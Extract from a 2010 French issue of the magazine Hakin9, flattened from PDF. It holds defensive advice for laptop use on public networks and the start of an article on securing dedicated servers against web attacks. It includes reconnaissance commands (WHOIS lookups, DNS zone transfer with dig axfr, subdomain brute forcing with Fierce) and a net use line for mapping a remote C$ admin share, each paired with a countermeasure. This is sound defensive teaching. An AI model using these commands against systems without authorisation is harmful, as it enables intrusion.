En naviguant sur Internet dans un ré-seau public, n'oubliez pas non plus d'utiliser uniquement ce qui est vraiment nécessai-re. Si vous n'avez pas besoin de faire un virement important, ne vous connectez pas à la banque sur Internet juste pour regar-der le solde de votre compte. Moins de services vous utiliserez, moins l'intrus aura d'opportunités d'intercepter des données critiques. Si, en revanche, vous savez avant un voyage que vous serez obligés d'utiliser un seul service uniquement, par exemple, un compte de messagerie électronique, remplacez alors avant votre voyage le mot de passe de ce service par un mot de passe non utilisé ailleurs. Ainsi, s'il l'in-tercepte, l'intrus n'aura accès qu'à un seul service. Au retour, modifiez toutefois ce mot de passe temporaire.

En suivant ces principes de bon sens pour utiliser les réseaux étrangers, sans re-

courir aux méthodes techniques spéciales, vous augmenterez considérablement la sécurité de vos informations. Ce n'est tou-tefois que la première étape sur le chemin de la sécurité complète.

Accès physiqueLorsque vous utilisez un ordinateur portable dans des endroits publics, il ne faut jamais oublier qu'il est facile de l'égarer (perte, vol, etc.) et comme il est facile pour les person-nes non autorisées d'y accéder.

Qu'est-ce que cela signifie du point de vue de la sécurité de nos informations ? D'énormes problèmes potentiels, bien évi-demment. Les appareils de l'infrastructure informatique (ordinateurs, serveurs, péri-phériques réseau, imprimantes, etc.) sont en général construits par les fabricants de sorte que la personne qui a un accès phy-sique à l'appareil peut accéder avec des méthodes très simples à la configuration et aux données stockées dans l'appareil. Cela signifie qu'une personne étrangère qui entre en possession de notre ordina-teur portable interceptera également toutes les données stockées dedans. En général, tout le monde s'en rend compte mais peu de personnes entreprennent des moyens de précaution en termes de sécurité physi-que de son matériel informatique.

Il s'avère toutefois que les fabricants des ordinateurs portables ont prévu des protections physiques de leurs produits. Actuellement, environ 99 % d'ordinateurs portables sont équipés en effet d'un ver-rou Kensington Lock (appelé autrement

K-Slot ou Kensington Security Slot ). Il s'agit d'un verrou permettant de fixer un câble en acier protégeant le matériel contre le vol à l'aide d'un verrou et un cadenas spécial (avec un code ou une clé). Des solutions concurrentes existent aussi, par exemple, des verrous fixés sur les ports VGA, ce qui ne nécessite plus un lien spécial. Il existe également des protections électroniques qui émettent un signal d'alarme lorsque la protection est enlevée.

Si toutefois, bien que l'ordinateur soit protégé par un câble en acier, il est volé, veillez à ce que vos données ne passent pas toutefois dans les mains de person-nes non autorisées. Seul le chif frage du disque dur entier nous protégera contre cette possibilité. Pour ce faire, je vous recommande un logiciel Open Source excellent : TruCrypt . Il s'agit d'un logiciel universel pour les systèmes d'exploitation Windows 2000/XP/2003/VISTA, Linux et Mac OS, permettant de chif frer des par-titions entières de disque. Une fois le mot de passe protégeant nos partitions saisi, il est possible de travailler sur le disque en question, comme s'il s'agissait de tout autre disque disponible dans le système. TruCrypt était dépourvu de la possibilité de chif frer les partitions système con-trairement aux solutions commerciales. Cependant, les version 5.0 et supérieu-res ne sont plus limitées. Pour chif frer les disques, nous pouvons nous servir d'un algorithme AES très sécurisé qui garan-tira toute la sécurité nécessaire à nos données.

Figure 2. Le programme DecaffeinatID a détecté la modification de l'adresse MAC cor-respondant à l'adresse IP de la porte ; cela signifie probablement une tentative d'attaque Man in the middle

Page 14: hakin9_2_2010_FR

DOSSIER

14 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

15 HAKIN9 2/2010

L'accès physique des personnes étrangères à notre ordinateur implique aussi à d'autres risques. Si vous voulez vous éloigner de votre ordinateur porta-ble, n'oubliez pas de fixer votre protection physique et surtout de vous déconnecter du système d'exploitation. Cette démar-che empêchera une personne étrangère de s'approcher et d'utiliser momentané-ment votre système dans un but inconnu. Nous connaissons également des cas de personnes qui s'approchent d'ordina-teurs laissés sans surveillance pendant un instant pour brancher une mémoire flash spécialement préparée dans le port USB. Si la fonction de Autodémarrage est activée dans le système d'exploitation de l'ordinateur, l'ordinateur ef fectuera auto-matiquement une procédure malveillante présente sur le pendrive (il peut s'agir d'ins-taller un cheval de Troie sur le système, de télécharger les fichiers dans lesquels le système stocke les mots de passe, etc.). Pour cette raison, et pour de nombreuses autres relatives à la sécurité de notre sys-tème, il est impératif de désactiver cette fonction dans le système d'exploitation. À titre d'exemple, dans le système Windows XP, vous pouvez désactiver globalement cette fonction à l'aide d'un composant logiciel enfichable Principes du groupe (commande gpedit.msc). Naviguez à la vue Configuration de l'ordinateur/Modèles administratifs/Système dans le compo-sant logiciel et activez l'option Désactiver la fonction Autodémarrage .

Grâce aux conseils ci-dessus, vous évi-terez que vos données soient interceptées lors d'une intervention physique de tierces personnes. Se conformer à ces principes permet aussi de créer un nouveau niveau dans la stratégie défensive contre les en-

nemis et les intrus qui présents dans les réseaux étrangers.

Ennemi à la porteEn utilisant notre propre ordinateur dans les conditions hostiles qu'offre le réseau public ouvert, il ne faut pas oublier de fer-mer toutes les portes par lesquelles un in-trus pourrait potentiellement passer dans notre système.

Comment donc prolonger la durée de travail de notre ordinateur portable bran-ché sur la batterie, accélérer le fonction-nement de son système d'exploitation et augmenter en même temps considérable-ment sa sécurité ? Rien de plus simple... Il suffit de désactiver tous les périphériques et interfaces dont vous vous ne servez pas. Si vous naviguez donc sur Internet dans un cybercafé avec votre ordinateur portable connecté par un câble réseau, désactivez la carte WiFi et le Bluetooth. Ces deux in-terfaces activées constituent en effet une porte potentielle pour un intrus. En géné-ral, les utilisateurs sont conscients qu'une interface WiFi activée peut être à l'origine d'une fuite de données mais les risques relatifs à la connexion Bluetooth sont gé-néralement ignorés. Il en est probablement ainsi car Bluetooth fait penser d'habitude aux réseaux et aux appareils d'une por-tée de quelques mètres. C'est toutefois une opinion qui n'est pas totalement juste. Les appareils Bluetooth ont été divisés en trois classes de puissance. La portée des appareils de la classe 3 et 2 n'est pas su-périeure à 1 et 10 mètres respectivement alors que les appareils de la classe 1 sont capables de travailler sur des distances jusqu'à 100 mètres ! Une autre raison d'ignorer les risques relatifs à ce standard de communication est qu'il est d'habitude employé pour brancher des périphéri-ques innocents , tels que souris, claviers, écouteurs, etc. De même que le WiFi, le Bluetooth peut très bien servir à créer un réseau informatique ad hoc . Comme vous le savez, un réseau de ce type est dépour-vu d'un appareil central garantissant des mécanismes de sécurité supplémentaires (comme Access Point dans le cas du ré-seau WiFi), il sert donc facilement à l'intrus pour pénétrer. Sans entrer dans les détails relatifs à la sécurité de Bluetooth, remar-quons qu'un appareil peut travailler en mo-

de Nonsecure mode (l'un des trois modes de travail possibles). Ce mode ne garantit aucune protection pour la connexion ou pour la transmission elle-même. Les deux autres modes emploient des protections telles que l'autorisation, l'authentification et le chif frage des transmissions mais leur efficacité est à vérifier.

Il faut donc toujours, et en particulier dans les endroits publics, désactiver les interfaces de communication dont vous n'avez pas besoin. Les notebooks sont en général équipés des commutateurs intégrés permettant d'activer et de désac-tiver rapidement le WiFi et le Bluetooth, il est donc conseillé de les utiliser. Activer la carte WiFi, l'adaptateur Bluetooth et autres périphériques système peut également prolonger la durée de travail de votre or-dinateur portable sur batterie et décharger les ressources système.

Fermer les portes par lesquelles un intrus pourrait entrer dans notre système constitue un niveau défensif de la stratégie DiD. Réfléchissons maintenant à la façon de préparer notre système d'exploitation et les applications pour travailler dans un ré-seau étranger.

OS & Apps SecuritySécuriser le système d'exploitation et les applications constitue bien évidemment une question-clé dans la stratégie Defen-ce in Depth . Ce niveau défensif est aussi le plus dif ficile à créer en pratique parmi tous les niveaux analysés. La quantité de systèmes d'exploitation, d'applications, de services et de configurations est tellement importante qu'il est vraiment dif ficile de maîtriser la sécurité de notre propre sys-tème. Nous pouvons toutefois distinguer plusieurs points-clé pour la sécurité du système mis à l'épreuve dans un réseau informatique étranger et des solutions uni-verselles pratiquement pour tous.

Tout d'abord, le système d'exploitation et les applications doivent être actualisés avant (nous insistons : avant) que l'ordina-teur soit connecté à un réseau inconnu. Pratiquement tous les systèmes d'exploi-tation utilisés actuellement sont équipés de fonctions permettant de les mettre à jour facilement. Dans les systèmes Win-dows, il suffit d'utiliser la fonction Windows Update et dans les systèmes Linux, nous

Figure 3. Le programme ARPFreeze per-met de créer des entrées statiques dans le tableau ARP

Page 15: hakin9_2_2010_FR

DOSSIER

14 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

15 HAKIN9 2/2010

obtenons des résultats similaires (selon la distribution) avec les commandes : apt-get update, apt-get upgrade, yum update, etc. Il est interdit de faire des mises à jour pen-dant que vous naviguez dans un réseau informatique inconnu. Dans un tel cas, il n'est pas certain que les mises à jour téléchargées sont originales et viennent vraiment du fabricant. Ce n'est pas un ris-que théorique. Un outil spécial, appelé Evil-grade, est disponible sur Internet. Il permet d'intervenir dans le processus d'actualisa-tion de plusieurs applications populaires (par exemple, supplément Java, iTunes, OpenOffice.org et autres). Le principe de fonctionnement est simple : le logiciel se déguise en un serveur légal de mises à jour et répond aux demandes d'actualisa-tions envoyées par les applications sen-sibles à cette attaque. Mais, à la place d'actualisations, l'intrus peut ainsi installer n'importe quel code malveillant dans le système. Evilgrade, en tant que framework multimodules, peut être modifié librement pour supporter d'autres applications. Il faut donc faire particulièrement attention aux si-tes d'où nos applications téléchargent les mises à jour.

Les mécanismes d'actualisations inté-grés dans le système d'exploitation peu-vent être incapables de mettre à jour les logiciels fonctionnant dans le système. Et les statistiques démontrent clairement que le nombre d'exploits dirigés non seulement vers le système d'exploitation lui-même mais aussi vers les applications présen-tes augmente tous les jours. Vous avez probablement entendu parler récemment des failles dans le logiciel Adobe (Flash et Reader). À l'instar du système d'exploi-tation, toutes les applications doivent être mises à jour avant de se connecter à un réseau étranger. Les mécanismes inté-grés dans le système d'exploitation peu-vent être insuffisants dans ce cas-là. À titre d'exemple, Windows Update n'est capable d'actualiser que les logiciels de la société Microsoft. Afin d'identifier des applications avec failles, nécessitant des mises à jour, dans notre système, je vous recommande le scanneur gratuit (pour l'usage privé) : Se-cunia Personal Software Inspector. Après avoir identifié et évalué le niveau de risque relatif aux failles trouvées, le programme propose de les réparer toutes, en précisant

les liens aux versions actuelles du logiciel ou aux patchs appropriés. Cette démar-che simplifie considérablement le proces-sus de préparation du système à affronter le réseau inconnu.

Nous avons donc mis à jour notre sys-tème et toutes les applications installées. Aucun exploit, même connu, ne nous fait plus peur. Chouette, mais qu'en est-il des exploits du type Zero-day ? En effet, pen-dant la conférence consacrée à la sécu-rité informatique, il est fort probable qu'un spécialiste utilise le même réseau et ayant découvert une nouvelle faille dans le sys-tème d'exploitation ou un service et ayant créé un nouvel exploit, il voudra le tester sur le public présent. Une solution très simple peut consister à désactiver tous les ser-veurs et services réseau qui travaillent sur notre ordinateur portable. Il arrive souvent en effet que les informaticiens et les pro-grammeurs installent sur leurs ordinateurs portables toute une variété de serveurs tests : Web, bases de données et liés aux dif férents types de services de gestion de matériel et de logiciels. Avant de se con-necter à un réseau inconnu, il faut abso-lument désactiver tous les serveurs de ce type, inutiles au moment donné. Afin de vérifier quels ports ont été ouverts dans notre système par les services installés,

il suffit de lancer des commandes très simples : netstat -a (dans les systèmes de famille Windows) ou lsof -i (dans les sys-tèmes de famille Linux). Une bonne idée consiste aussi à scanner les ports TCP et UDP au moyen du programme Nmap lancé au niveau d'un autre ordinateur. Un exemple de commande : nmap -p T:

0-65535,U:0-65535 adresse _ IP _

de _ l'ordinateur _ vérifié . Tous les services détectés ainsi doivent être désac-tivés avant de se connecter à un réseau étranger. Si pour une raison un service ne peut pas être désactivé, il faut installer tous les correctifs disponibles. Si vous n'avez besoin du service que localement, il faut in-terdire le port à l'aide du pare-feu de sorte qu'il soit disponible uniquement à partir de l'adresse 127.0.0.1 (localhost ).

Il est une autre question liée à la con-figuration du système d'exploitation à la-quelle il faut faire attention : les partages réseau sur l'ordinateur portable. Cette question sera analysée principalement sur les systèmes Windows mais le même pro-blème peut apparaître dans les systèmes de la famille Linux (dans ce cas-là, il faut faire particulièrement attention à la confi-guration Samby et NFS ).

Il vous est peut-être arrivé de transférer les photos privées de l'ordinateur portable

Figure 4. L'environnement du système Incognito a été configuré par ses concepteurs pour un travail sécurisé et anonyme dans n'importe quel réseau informatique

Page 16: hakin9_2_2010_FR

DOSSIER

16 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

17 HAKIN9 2/2010

vers l'ordinateur fixe au domicile à l'aide d'un répertoire partagé ? Pendant ce trans-fert, vous ne vous êtes préoccupé d'aucune protection car il s'agissait d'un partage au sein de votre réseau à domicile. Si vous oubliez toutefois ce répertoire partagé sans protection et que vous branchez votre ordinateur à un réseau informatique étran-ger, tout utilisateur de ce réseau pourra té-lécharger le contenu du répertoire partagé. Nous connaissons également des cas où des logiciels malveillants se propagent par les partages réseau non protégés auto-matiquement détectés.

Avant de vous brancher à un réseau étranger, il faut donc obligatoirement vé-rifier ce que partage votre ordinateur et modifier les paramètres systèmes. Pour ce faire, dans les systèmes Windows, il suffit de lancer Gestion de l'ordinateur (com-mande compmgmt.msc) et de sélectionner la position Dossiers partagés . Il faut vérifier tous les partages réseau et les droits affé-rents. Les partages, dont le nom se termine par le caractère $, sont des partages ad-ministratifs donc seuls les administrateurs du système y ont accès. Si l'un des comp-tes de l'administrateur est protégé par un mot de passe faible, les partages adminis-tratifs constituent un risque particulier. À ti-tre d'exemple, le partage C$ activé permet à n'importe quel utilisateur d'accéder à tou-te la partition système C: ! À titre d'exemple,

la commande net use z: \Adresse _

IP _ ou _ Nom _ de _ l'ordinateur\C$

/user:administrateur mot _ de _

passe _ de _ l'administrateur per-mettra à un utilisateur distant de mapper toute votre partition C: comme un disque Z: sur son système local. Nous rappelons donc qu'il faut trouver des mots de passe puissants, en particulier pour les comptes de l'administrateur. La solution la plus sûre consiste à désactiver complètement l'ac-cès à tous les partages avant de brancher l'ordinateur à un réseau étranger. Pour ce faire, vous pouvez désactiver tous les par-tages, un par un, à l'aide de l'option Arrêter le partage et/ou désactiver l'exception Par-tager les fichiers et les imprimantes dans la configuration du pare-feu du système. Il est également possible de désinstaller complètement le protocole Partager les fi-chiers et les imprimantes dans les réseaux Microsoft Networks dans les propriétés de la connexion réseau. Afin de vérifier la configuration des partages dans les systè-mes Linux, il faut analyser la configuration présente dans les fichiers de configuration propres à la distribution donnée et en par-ticulier dans le fichier smb.conf.

En protégeant votre propre système, il est recommandé d'utiliser aussi une sé-rie d'applications spécialisées. Mis à part un logiciel antivirus obligatoire et un pare-feu, il existe de nombreuses applications

dédiées à la protection des systèmes qui travaillent dans des conditions hostiles. DecaffeinatID est un exemple d'une telle application. C'est un simple système IDS, capable de détecter les attaques dange-reuses comme ARP Spoofing (Figure 4) car ce programme suit :

• les modifications dans le tableau ARP,• les événements dans le journal log de

sécurité,• les événements dans le journal log du

pare-feu du système Windows.

À titre d'exemple, si le programme voit que l'adresse physique retenue dans le tableau ARP pour l'adresse IP correspondant à la porte change, il affichera un avertisse-ment sur une attaque probable en cours dont l'objectif est d'intercepter notre trafic réseau.

ARPFreeze est un autre exemple de lo-giciel créé spécialement pour protéger les systèmes travaillant dans un réseau poten-tiellement dangereux. Ce programme crée un tableau ARP statique (Figure 5), ce qui permet d'armer notre système contre les attaques empoisonnant le tableau ARP et en conséquence, contre les attaques du type Man in the middle.

Au lieu de réparer et de protéger notre propre système d'exploitation et les dizai-nes d'applications et de services installés, il existe une stratégie complètement dif féren-te à laquelle recourir. Il faut décider d'utiliser un système d'exploitation spécialement préparé, super sécurisé, du type Live CD pour utiliser les réseaux étrangers dange-reux. Actuellement, la distribution spéciale de Linux, Incognito, est le système le plus intéressant de ce type. Il s'agit d'une dis-tribution à démarrer directement à partir du CD ou de la mémoire flash. Elle repose sur Gentoo Linux . Ce système est spécia-lement conçu pour utiliser les réseaux pu-blics de manière sûre et anonyme. Il est aussi possible de lancer l'instance virtuelle de ce système directement sous le systè-me d'exploitation Windows. C'est possible car la distribution a été intégrée à l'émula-teur QEMU avec le code ouvert. Toutes les applications présentes dans cette distribu-tion, telles que navigateurs Internet, clients de messageries électroniques, program-mes ID, etc. sont configurées immédia-

Sur le Net• http://www.cert.org/ – Computer Emergency Response Team ;• http://www.remote-exploit.org/backtrack.html – BackTrack ;• http://www.wallofsheep.com/ – Wall of Sheep project ;• http://www.usatoday.com/tech/conventions/2005-08-01-hacker-conference_x.htm – Hac-

kers demonstrate their skills in Vegas ;• http://pl.kensington.com/ – Site officiel de la société Kensington ;• http://www.truecrypt.org/ – Site officiel du projet TruCrypt ;• http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf – Wireless Network

Security 802.11, Bluetooth and Handheld Devices ;• http://secunia.com/vulnerability_scanning/personal/ – Secunia Personal Software Inspec-

tor ;• http://www.irongeek.com/i.php?page=security/decaf feinatid-simple-ids-arpwatch-for-win-

dows – DecaffeinatID: A Very Simple IDS ;• http://www.irongeek.com/i.php?page=security/arpfreeze-static-arp-poisoning – ARPFreeze:

A tool for Windows to protect against ARP poisoning ;• http://anonymityanywhere.com/incognito/ – Incognito Live CD ;• http://www.torproject.org/ – Tor on-line ;• http://www.elcomsoft.com/ – ElcomSoft Co.Ltd. ;• http://www.pgpi.org/ – The International PGP Home Page;• http://zfoneproject.com/ – The Zfone Project ;• http://www.irongeek.com/ – Irongeek.

Page 17: hakin9_2_2010_FR

DOSSIER

16 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

17 HAKIN9 2/2010

tement après le démarrage du système. Toutes les connexions sortantes seront rendues anonymes au moyen du réseau Tor. N'oublions pas que utiliser le réseau Tor garantit uniquement un bon anonymat mais ne chif fre pas les connexions. Le sys-tème Incognito est toutefois équipé d'une série d'outils supplémentaires proposant le chif frage, tels que le programme GnuPG , permettant de chif frer les courriels. Utiliser ce système d'exploitation peut considéra-blement augmenter votre sécurité quand vous utilisez un réseau inconnu. Remar-quez aussi que cette distribution Linux permet de détourner les mécanismes de filtrage (filtrage URL, filtrage IP, etc.) du contenu. Si donc un réseau donné interdit d'utiliser certaines ressources Internet, In-cognioto rend probablement possible l'ac-cès à toutes les ressources.

Une fois le système d'exploitation fort créé, notre stratégie Defens in Depth est quasiment complète. Nous construirons une dernière ligne de défense. Nous pro-tégerons en plus les données de sorte que même interceptées, elles n'apportent aucun avantage à l'intrus.

Données blindéesNous pouvons faire de nos fichiers une der-nière ligne de défense au cas où toutes les autres lignes susmentionnées étaient bri-sées par l'intrus et nos données arrivées dans des mains non autorisées. Il est possi-ble de protéger toute sorte de donnée avec des méthodes simples de sorte que quasi-ment aucun intrus ne pourra rien faire.

La quasi-totalité des programmes utili-sés au quotidien génère les données non protégées par défaut donc accessibles à des tiers.

La plupart des utilisateurs se rendent également compte que les applications d'aujourd'hui sont dotées d'options diver-ses et variées pour protéger les données, en général par le chif frage mais peu de personnes utilisent cette fonctionnalité. Il est possible de chif frer (en utilisant la fonctionnalité du logiciel ou des extensions disponibles) les données créées par tou-tes les suites bureautiques, les fichiers au format PDF, les fichiers contenant les ba-ses de données et autres. Il suffit de trou-ver l'option concernée dans le programme utilisé ou d'installer un plug-in approprié. Si

l'option de chif frage comprend les options de choix de l'algorithme de chif frage et de la longueur de la clé, il est recommandé de consacrer un moment pour faire le bon choix. Il arrive souvent que le programme propose par défaut un algorithme de chif-frage très faible. À titre d'exemple, dans les programmes Microsoft Word et Excel, version 97-2003, le chif frage proposé par défaut est très faible avec une clé de 40-bits seulement. Des logiciels (par exem-ple, Elcomsoft Advanced Office Password Breaker ) ont donc été conçus, capables de déchiffrer tout fichier chif fré par un algo-rithme par défaut. La longueur du mot de passe et sa complexité n'ont alors aucune importance car le programme vérifie tou-tes les combinaisons possibles (240 pos-sibilités) de la clé. Un ordinateur moderne est capable de vérifier toutes les possibili-tés en 24 heures. Il faut donc toujours opter pour l'algorithme le plus sûr parmi les al-gorithmes de chif frage disponibles. À titre d'exemple, actuellement, c'est l'algorithme AES avec la clé de 256 bits qui est le plus sûr. Il faut aussi utiliser les mots de passe longs et compliqués car la plupart des autres méthodes d'ouverture de fichiers chif frés consiste à vérifier toutes les com-binaisons possibles de mots de passe.

Réfléchissons également à chif frer les messages envoyés via les messageries électroniques. Dans ce cas, nous pouvons utiliser le programme Pretty Good Privacy (PGP, en français, Assez bonne confidenti-alité), disponible sous forme d'un complé-ment pour la plupart de programmes de messageries les plus populaires. Le PGP permet de chif frer et de déchiffrer les mes-sages de messageries électroniques, de mettre une signature numérique et de véri-fier l'identité de l'expéditeur (à condition qu'il utilise aussi PGP).

Si vous utilisez un réseau inconnu, vous pouvez aussi penser à chif frer les discus-sions VoIP. Le programme Zfone, disponi-ble sous forme de compléments pour un grand nombre de programmes populaires permettant de discuter VoIP (X-Lite, Gizmo, XMeeting, Google Talk VoIP, Yahoo Mes-senger's VoIP client, Magic Jack et autres) protège les discussions à l'aide du proto-cole ZRTP. Ce programme ne supporte pas malheureusement le protocole Skype, qui n'a jamais été officiellement publié.

Les données protégées par des al-gorithmes de chif frage puissants seront inutiles pour l'intrus. Il est donc conseillé de penser à chif frer les fichiers les plus importants. Chif frer les fichiers constitue le dernier élément de la stratégie de dé-fense multi-niveaux à adapter lorsque vous vous retrouverez dans les réseaux publics dangereux.

ConclusionVous pouvez penser que la stratégie propo-sée demande trop d'effort et est trop com-pliquée pour l'utiliser à tout moment dans les réseaux inconnus. Cette opinion est toutefois fausse. Premièrement, la sécurité de nos données privées ou professionnel-les vaut cet effort. Deuxièmement, préparer un système blindé ne se fait qu'une seule fois et ensuite, il suffit de le mettre à jour et de se conformer aux principes d'une bonne utilisation des réseaux étrangers présentés. La procédure proposée, inspi-rée par la stratégie Defence in Depth est vraiment efficace et si elle est correcte-ment effectuée, elle garantira une sécurité quasiment à 100 % de vos données. Briser simultanément les cinq niveaux de protec-tion créés autour de vos données est qua-siment impossible, même pour un cracker expérimenté. Il est donc fort probable que l'attaquant prendra pour cible un autre sys-tème, plus faible, s'il rencontre de nouvelles protections chez vous.

Pour terminer, évoquons une autre mé-thode assurant un travail en sécurité dans un réseau étranger : la connexion de type remote vpn au réseau (à domicile ou au travail), où vous pourrez vous loguer à un ordinateur à distance. Cette solution peut très bien remplacer notre stratégie de dé-fense développée. Si vous réussissez à créer un passage sécurisé vers un ordi-nateur distant et travailler dessus, un intrus potentiel écoutant sur un réseau étranger sera capable d'intercepter uniquement la transmission chif frée et vous serez en sé-curité.

À propos de l'auteurL'auteur a fait ses études à la faculté de l'Automatique, de l'Electronique et de l'Informatique de l'Ecole Polytech-nique de Silésie à Gliwice. Il est diplômé de la section Informatique, spécialité : Bases de données, réseaux et systèmes informatiques.

Page 18: hakin9_2_2010_FR

18 HAKIN9 2/2010

DOSSIER

19 HAKIN9

SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

2/2010

DOSSIER

Les entreprises comme les particuliers ont des besoins très précis concernant le stockage et la publication des informations.

Il est clair qu'utiliser un serveur mutualisé serait trop risqué pour héberger du contenu confidentiel et des projets en cours de développement.

En ef fet, sur les mutualisés certains droits d'accès sont oubliés ou mal configurés. Chaque projet se retrouvant sur le même serveur et il faut limiter l'exécution des scripts à leur répertoire respectifs avec le Safe_Mod ou Open_Base_Dir (largement conseillé). Seulement, l'utilisation de ces limitations est parfois rendue obsolète par bypassing qui consiste à exploiter une faille fonctionnelle présente dans un langage puissant tel que PHP, Perl, Python. Même si une série de patches est appliquée pour boucher les trous de sécurité, il faut garder à l'esprit que les correctifs au niveau de la sécurité ne peuvent que complexifier une attaque. C'est pour cela que vous tendrez à utiliser un serveur dédié afin de marquer une séparation avec les autres utilisateurs.

SÉBASTIEN DUDEK

CET ARTICLE EXPLIQUE...

La prise d'information.

L'identification des vecteurs d'attaques et des vulnérabilités

Les différents types d'attaques après analyse des informations recueillies.

La sécurisation des services.

CE QU'IL FAUT SAVOIR...Administration de serveurs (Unix, Linux, Windows, ...)

Des notions en penetration testing.

Bases de survie en programmation (C, PHP, Perl, Python, ...)

Cela nous amène tout de même à nous poser la question suivante : nos projets séparés des autres utilisateurs sont-ils réellement en sécurité ?

Pour y répondre, nous verrons en parallèle les dif férents types d'attaques avec les correctifs à appliquer pour éviter les principales attaques.

La visibilitéLa visibilité, contrairement à une idée répandue, est une arme pour l'at taquant qui connaîtra ainsi les services utilisés avec leurs versions et leurs vulnérabilités référencées ou après analyse des codes sources. Le problème des serveurs par défaut est qu'ils sont toujours visibles en laissant tourner des services ou en répondant aux pings .

Être invisible, sur le web bien évidement, est chose possible si le serveur fonctionne en passif, ne répondant à aucune sonde ni enquête. Il est judicieux de bien choisir les vecteurs visibles ou non par le système. En effet, les services en externe ne devant pas nécessairement être exposés peuvent simplement rester en interne.

Degré de difficulté

Serveurs Dédiés Protégez-vous des attaques sur le Web

Les serveurs sont les principales cibles d'attaques sur le Web et pourtant les questions au sujet de la sécurité sont souvent laissées de côté, ce qui amène très souvent à des conséquences catastrophiques.

Transfert de zone : The Old Fashion brute forceVous remarquez qu'après avoir restreint le transfert de zone, aucun résultat n'est retourné mais il faut avoir à l'esprit que ce n'est qu'une question de temps car d'autres techniques subsistes. En effet, comme la recherche de mot de passe, il est possible d'effectuer une attaque par brute force.

Nous pourrions imaginer un algorithme qui prend un nom de domaine et teste une série d'alias enregistrés dans un dictionnaire. Et après avoir vérifié le statut de ces alias, nous pouvons en rechercher d'autres suivant une grammaire précise de [a-z0-9] par combinaison.

Un tel algorithme existe sous le nom de Fierce et est disponible à cette adresse : http://ha.ckers.org/fierce/

Page 19: hakin9_2_2010_FR

18 HAKIN9 2/2010

DOSSIER

19 HAKIN9

SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

2/2010

DOSSIERConnaître sa cibleAvant la prise d'information, le serveur cible est considéré comme une sorte de blackbox car nous ne connaissons rien de notre victime, à part son adresse opihad.com (fictive pour l'exemple).

La consultation de bases de données WHOIS commence à être connue de tous, même chez les avocats, secrétaires et autres personnes n'ayant pas forcément les connaissances techniques en sécurité informatique. Lorsque nous achetons un nom de domaine, les informations sur l'acheteur ainsi que le ou les responsables techniques (nom, prénom, adresse, code postal, numéro de téléphone), les serveurs DNS principaux (dns1.opihad.com, dn2.opihad.com, dn3.opihad.com).

Ces informations permettent à l'attaquant de connaître la victime et ainsi utiliser ces informations comme une piste pour affiner et pousser encore plus loin les recherches. L'attaquant pourra donc avoir quelques détails utiles pour entreprendre une attaque physique ou, dans notre cas, pour étendre le domaine de recherche des failles grâce aux principaux DNS. Le Listing 1. montre un résultat du WHOIS pour opidah.com

Il existe des services de consultation des données WHOIS comme ce site par exemple : http://whois.domaintools.com/. En utilisant n'importe quel moteur de recherche, vous devriez retrouver des services équivalents, vous évitant les lignes de commandes.

Protection des informationsPour protéger vos informations, il y a deux solutions : soit entrer de fausses informations, les rendre privées, soit entrer de fausses informations et rendre un domaine privé.

La première solution est bonne mais vous décrédibilise auprès des clients et il est dif ficile d'avoir confiance en une entreprise envoyant de fausses informations. La seconde se fait, entre autres, en achetant un nom de domaine qui comprend l'option de type WhoisGuard (http://www.whoisguard.com/) , rendant vos informations privées comme indiqué au Listing 2.

Les services de nomsChaque adresse IP est associée à un serveur DNS qui se charge de renvoyer l'adresse IP. Grâce au transfert de zone, l'attaquant liste les entrées DNS d'un domaine pour s'en servir comme vecteur d'attaque potentiel. Il faut noter que, très souvent, d'anciens serveurs physiques ou virtuels abandonnés sont listés et aident ainsi l'attaquant selon les failles présentes sur ces serveurs.

Sous Unix et Windows (pas sur Linux), un transfert de zone peut se réaliser grâce à la commande nslookup comme représenté au Listing 3.

En revanche, sous Linux, il faudra se contenter d'une autre commande puisque les options nslookup ne sont pas interfacées comme pour Windows et Unix. La commande à utiliser pour lister tous les records permis, sera dig comme ceci :

wwitb~# dig @<Serveur DNS> <nom_de_

domaine> axfr

Restreindre le transfert de zoneAprès avoir obtenu la liste des entrées, l'attaquant n'aura qu'à tester les dif férentes adresses et énumérer les services. Comme indiqué précédemment, si un ancien serveur ou un serveur virtuel incorrectement maintenu s'y trouve, l'attaquant l'utilisera contre la victime.

Toutefois, limiter le Transfert de Zone sous Windows s'effectue par l'utilitaire MMC , puis sous Service et Application → DNS → <SERVER> → Forward Lookup

Zone → <Nom de Zone>, puis Propriété et en cochant l'option « Only to the

following servers » en précisant la liste des serveurs de sauvegarde, ou tout simplement, décochez l'option « Allow Zone transfert » si vous jugez ne pas en avoir besoin.

Sous Unix et Linux avec Bind, nous pouvons définir des listes d'accès et restreindre les transferts de zones grâce à la directive allow-transfer comme sur le Listing 4 avec la liste d'accès tpeux en modifiant le fichier /etc/bind/named.conf.local.

Retreindre les requêtes DNSUn serveur DNS permet à un client de se connecter et effectuer des requêtes concernant les domaines hébergés. Cependant, quelques open resolvers, souvent être utilisés pour des attaques DdoS, acceptent les requêtes récursives pour n'importe quel domaine. Les requêtes récursives et non-récursives doivent être interdites pour les clients externes afin d'éviter les spoofing conditions ou le cache

Listing 1. Résultat de notre WHOIS pour opidah.com (parties intéressantes)

wwitb~# whois opidah.com

domain: opidah.com

reg_created: 2009-04-22 13:06:25

expires: 2011-04-22 13:06:25

created: 2009-04-22 15:06:26

changed: 2010-11-12 15:38:03

transfer-prohibited: yes

ns0: dns1.opidah.com

ns1: dns2.opidah.com

ns2: dns3.opidah.com

owner-c:

nic-hdl: TG8520-DIGAN

owner-name: James Paledown

organisation: ~

person: James Paledown

address: '12, place des zics'

zipcode: 75014

city: Paris

country: France

phone: +33.145147005

fax: ''

email: [email protected]

admin-c:

nic-hdl: TG8520-DIGAN

owner-name: James Paledown

organisation: ~

person: James Paledown

address: '12, place des zics'

zipcode: 75014

city: Paris

country: France

phone: +33.145147005

fax: ''

email: [email protected]

tech-c:

….

bill-c:

….

Figure 1. Communication entre deux serveur DNS

��������������������������

�������������� ��������������

Page 20: hakin9_2_2010_FR

